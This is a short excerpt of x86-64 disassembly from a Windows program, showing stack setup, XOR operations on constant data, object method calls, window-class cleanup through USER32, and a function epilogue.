mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5930], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5938], rax
movabs rax, 0x52167864a84a710b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5940], rax
movabs rax, 0x24a8ffc9df2bef68
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x5900]
vpxor ymm1, ymm0, ymmword [rbp + 0x6360]
vmovdqa xmm2, xmmword [rbp + 0x63a0]
vmovdqu ymm0, ymmword [rbp + 0x5920]
vmovdqa ymmword [rbp + 0x6360], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x6380]
mov qword [rbp + 0x5948], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x5940]
vmovdqa ymmword [rbp + 0x6380], ymm1
vmovdqa xmmword [rbp + 0x63a0], xmm2
vzeroupper
call fcn.140073680
lea rcx, [rbp + 0x3620]
call fcn.14002b430
mov rdx, rax
lea rcx, [rbp + 0x3640]
call fcn.14002b4a0
mov r8d, 0x9a00
lea rdx, [0x141529c80]
lea rcx, [rbp + 0x3640]
call fcn.14003df90
lea rcx, [rbp + 0x3640]
call fcn.14002b440
lea rcx, [rbp + 0x3620]
mov dword [0x1415573e0], 0xc
movaps xmm12, xmm14
call fcn.14002b440
lea rcx, [rbp + 0x3460]
call fcn.1400735d0
jmp 0x14006c346
xor esi, esi
call fcn.140011510
call fcn.14000b540
mov rcx, qword [0x1415575e0]
lea r8, [0x141557548]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x17e0], xmm0
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x1415575e0]
lea r8, [rbp + 0x17e0]
mov rdx, qword [0x141557548]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.140008660
mov rcx, rax
call fcn.14002e5c0
mov rcx, qword [0x1415575d0]
xor r8d, r8d
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x40]
mov rdi, qword [rbp + 0x158]
jmp 0x1400437e6
call fcn.14002f8f0
call fcn.14002fce0
xor ecx, ecx
call fcn.1400062f0
call fcn.1400723b0
mov rcx, qword [0x1415573a0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x5638]
mov rcx, qword [rbp + 0x5660]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov r13d, esi
lea rcx, [rbp + 0x1ae8]
call fcn.14002b440
lea rcx, [rbp + 0x7db0]
call fcn.140072130
mov eax, r13d
lea r11, [rsp + 0xb2a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret